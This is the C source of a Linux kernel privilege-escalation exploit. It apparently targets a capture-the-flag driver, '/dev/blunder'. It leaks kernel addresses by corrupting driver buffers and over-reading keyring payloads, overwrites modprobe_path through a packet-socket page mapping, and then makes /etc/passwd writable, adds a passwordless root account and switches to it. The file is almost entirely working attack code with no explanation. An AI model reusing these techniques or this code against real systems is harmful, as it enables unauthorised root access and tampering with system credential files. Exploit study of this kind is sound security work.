#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void
err_exit(
char
*msg)
{
printf
(
"\033[31m\033[1m[x] Error at: \033[0m%s\n"
, msg);
sleep(1);
exit
(EXIT_FAILURE);
}
void
info(
char
*msg)
{
printf
(
"\033[32m\033[1m[+] %s\n\033[0m"
, msg);
}
void
hexx(
char
*msg,
size_t
value)
{
printf
(
"\033[32m\033[1m[+] %s: %#lx\n\033[0m"
, msg, value);
}
void
binary_dump(
char
*desc,
void
*addr,
int
len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if
(desc != NULL) {
printf
(
"\033[33m[*] %s:\n\033[0m"
, desc);
}
for
(
int
i = 0; i < len / 8; i += 4) {
printf
(
" %04x"
, i * 8);
for
(
int
j = 0; j < 4; j++) {
i + j < len / 8 ?
printf
(
" 0x%016lx"
, buf64[i + j]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j = 0; j < 32 && j + i * 8 < len; j++) {
printf
(
"%c"
, isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] :
'.'
);
}
puts
(
""
);
}
}
void
get_root_shell(
void
)
{
system
(
"echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"
);
system
(
"chmod +x /tmp/x"
);
system
(
"echo '\xff\xff\xff\xff' > /tmp/dummy"
);
system
(
"chmod +x /tmp/dummy"
);
system
(
"/tmp/dummy"
);
sleep(0.3);
system
(
"echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd"
);
system
(
"su hacker"
);
exit
(EXIT_SUCCESS);
}
size_t
user_cs, user_ss, user_rflags, user_sp;
void
save_status()
{
asm
volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"\033[34m\033[1m[*] Status has been saved.\033[0m"
);
}
void
bind_core(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),
sizeof
(cpu_set), &cpu_set);
printf
(
"\033[34m\033[1m[*] Process binded to core \033[0m%d\n"
, core);
}
#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)
struct
blunder_user_message {
int
handle;
int
opcode;
void
*data;
size_t
data_size;
size_t
*offsets;
size_t
offsets_size;
int
*fds;
size_t
num_fds;
};
void
set_ctx(
int
fd) {
ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}
void
send_msg(
int
fd,
int
topid,
void
* data,
size_t
data_size,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}
void
recv_msg(
int
fd,
int
* fds,
size_t
num_fds) {
struct
blunder_user_message n = { .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}
void
free_buf(
int
fd, unsigned
long
arg) {
ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}
int
key_alloc(
char
*description,
char
*payload,
size_t
plen)
{
return
syscall(__NR_add_key,
"user"
, description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int
key_update(
int
keyid,
char
*payload,
size_t
plen)
{
return
syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int
key_read(
int
keyid,
char
*buffer,
size_t
buflen)
{
return
syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int
key_revoke(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int
key_unlink(
int
keyid)
{
return
syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
void
unshare_setup(
void
)
{
char
edit[0x100];
int
tmp_fd;
if
(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit(
"FAILED to create a new namespace"
);
tmp_fd = open(
"/proc/self/setgroups"
, O_WRONLY);
write(tmp_fd,
"deny"
,
strlen
(
"deny"
));
close(tmp_fd);
tmp_fd = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getuid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
tmp_fd = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getgid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void
packet_socket_rx_ring_init(
int
s, unsigned
int
block_size,
unsigned
int
frame_size, unsigned
int
block_nr,
unsigned
int
sizeof_priv, unsigned
int
timeout) {
int
v = TPACKET_V3;
int
rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v,
sizeof
(v));
if
(rv < 0)
puts
(
"setsockopt(PACKET_VERSION)"
),
exit
(-1);
struct
tpacket_req3 req;
memset
(&req, 0,
sizeof
(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req,
sizeof
(req));
if
(rv < 0)
perror
(
"setsockopt(PACKET_RX_RING)"
),
exit
(-1);
}
int
packet_socket_setup(unsigned
int
block_size, unsigned
int
frame_size,
unsigned
int
block_nr, unsigned
int
sizeof_priv,
int
timeout) {
int
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if
(s < 0)
puts
(
"socket(AF_PACKET)"
),
exit
(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct
sockaddr_ll sa;
memset
(&sa, 0,
sizeof
(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex(
"lo"
);
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int
rv = bind(s, (
struct
sockaddr *)&sa,
sizeof
(sa));
if
(rv < 0)
puts
(
"bind(AF_PACKET)"
),
exit
(-1);
return
s;
}
int
pagealloc_pad(
int
count,
int
size) {
return
packet_socket_setup(size, 2048, count, 0, 100);
}
#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int
main(
int
argc,
char
** argv,
char
** envp)
{
bind_core(0);
int
pipe_fd[2];
pipe(pipe_fd);
pid_t pid = fork();
if
(!pid) {
unshare_setup();
char
* mmap_addr;
int
key_id[KEY_NUMS];
char
desc[0x10] = { 0 };
char
buf[0x10000] = { 0 };
int
fds[MAX_FDS] = { 0 };
uint64_t kheap = 0;
uint64_t khead = 0;
uint64_t kbase = 0;
uint64_t koffset = 0;
uint64_t modprobe_path = 0x1e8bb00;
int
evil_key = -1;
int
res, flag;
int
pid = getpid();
int
fd = open(
"/dev/blunder"
, O_RDWR);
if
(fd < 0) err_exit(
"open /dev/blunder"
);
for
(
int
i = 0; i < KEY_NUMS / 2; i++) {
sprintf
(desc,
"%s%d"
,
"XiaozaYa"
, i);
key_id[i] = key_alloc(desc, buf, 2032);
}
mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if
(mmap_addr == MAP_FAILED) err_exit(
"mmap"
);
for
(
int
i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
sprintf
(desc,
"%s%d"
,
"XiaozaYa"
, i);
key_id[i] = key_alloc(desc, buf, 2032);
}
printf
(
"[+] mmap_addr: %#llx\n"
, mmap_addr);
if
(mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit(
"mprotect"
);
send_msg(fd, pid, buf, 0x10, NULL, 0);
kheap = *(uint64_t*)(mmap_addr) - 0x40;
khead = *(uint64_t*)(mmap_addr + 8);
printf
(
"[+] kheap: %#llx\n"
, kheap);
printf
(
"[+] khead: %#llx\n"
, khead);
*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
binary_dump(
"first buf"
, mmap_addr, 0x30);
binary_dump(
"second buf"
, mmap_addr+0x1000-0x30, 0x30);
*(uint64_t*)(buf + 16) = 0xfff0;
send_msg(fd, pid, buf, 0x20, NULL, 0);
binary_dump(
"use buf"
, mmap_addr+0x1000-0x30, 0x30);
memset
(buf, 0,
sizeof
(buf));
for
(
int
i = 0; i < KEY_NUMS; i++) {
res = key_read(key_id[i], buf, 0xfff0);
if
(res > 0x1000) {
printf
(
"[+] key overread data len: %#lx\n"
, res);
evil_key = i;
break
;
}
}
if
(evil_key == -1) {
write(pipe_fd[1],
"N"
, 1);
err_exit(
"not hit evil_key"
);
}
printf
(
"[+] evil_key: %d\n"
, evil_key);
for
(
int
i = 0; i < KEY_NUMS; i++) {
if
(i != evil_key) {
key_revoke(key_id[i]);
}
}
res = key_read(key_id[evil_key], buf, res);
int
hit_count = 0;
for
(
int
i = 0; i < res / 8; i++) {
uint64_t val = *(uint64_t*)(buf + i*8);
if
((val&0xfff) == 0xa60) {
if
(kbase == 0) {
printf
(
"[+] user_free_payload_rcu: %#llx\n"
, val);
kbase = val - 0x52ba60;
koffset = kbase - 0xffffffff81000000;
}
hit_count++;
}
}
if
(kbase == 0) {
write(pipe_fd[1],
"N"
, 1);
err_exit(
"Failed to leak kbase"
);
}
printf
(
"[+] hit count: %d\n"
, hit_count);
printf
(
"[+] kbase: %#llx\n"
, kbase);
printf
(
"[+] koffset: %#llx\n"
, koffset);
modprobe_path += kbase;
printf
(
"[+] modprobe_path: %#llx\n"
, modprobe_path);
key_revoke(key_id[evil_key]);
int
packet_fd;
char
* page;
#define TRY_NUMS 0x20
int
try_keys[TRY_NUMS];
int
index = 0;
memset
(desc, 0,
sizeof
(desc));
for
(
int
i = 0; i < 257; i++) {
*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
}
for
(
int
i = 0; i < TRY_NUMS; i++) {
printf
(
"[+] try %d/32\n"
, i);
packet_fd = pagealloc_pad(257, 0x1000);
if
(packet_fd < 0) {
write(pipe_fd[1],
"N"
, 1);
perror
(
"pagealloc_pad"
);
exit
(-1);
}
*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
send_msg(fd, pid, buf, 257*8, NULL, 0);
page = (
char
*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
if
(page == MAP_FAILED) {
write(pipe_fd[1],
"N"
, 1);
printf
(
"[x] packet_fd: %d\n"
, packet_fd);
perror
(
"mmap for USMA"
);
exit
(-1);
}
page[
strlen
(
"/sbin/modprobe"
)] =
'\x00'
;
printf
(
"[s] hit string: %s\n"
, &page[modprobe_path&0xfff]);
if
(!
strcmp
(&page[modprobe_path&0xfff],
"/sbin/modprobe"
)) {
strcpy
(&page[modprobe_path&0xfff],
"/tmp/x"
);
write(pipe_fd[1],
"Y"
, 1);
goto
OUT;
}
munmap(page, 0x1000*257);
close(packet_fd);
sprintf
(desc,
"%s%d"
,
"Try"
, index);
try_keys[index++] = key_alloc(desc, buf, 2032);
}
write(pipe_fd[1],
"N"
, 1);
OUT:
puts
(
"[+] Child Porcess Over"
);
exit
(0);
}
else
if
(pid < 0) {
err_exit(
"fork"
);
}
else
{
char
buf[1];
read(pipe_fd[0], buf, 1);
sleep(2);
if
(buf[0] ==
'Y'
) {
get_root_shell();
}
puts
(
"[+] Parent Porcess Over"
);
exit
(0);
}
return
0;
}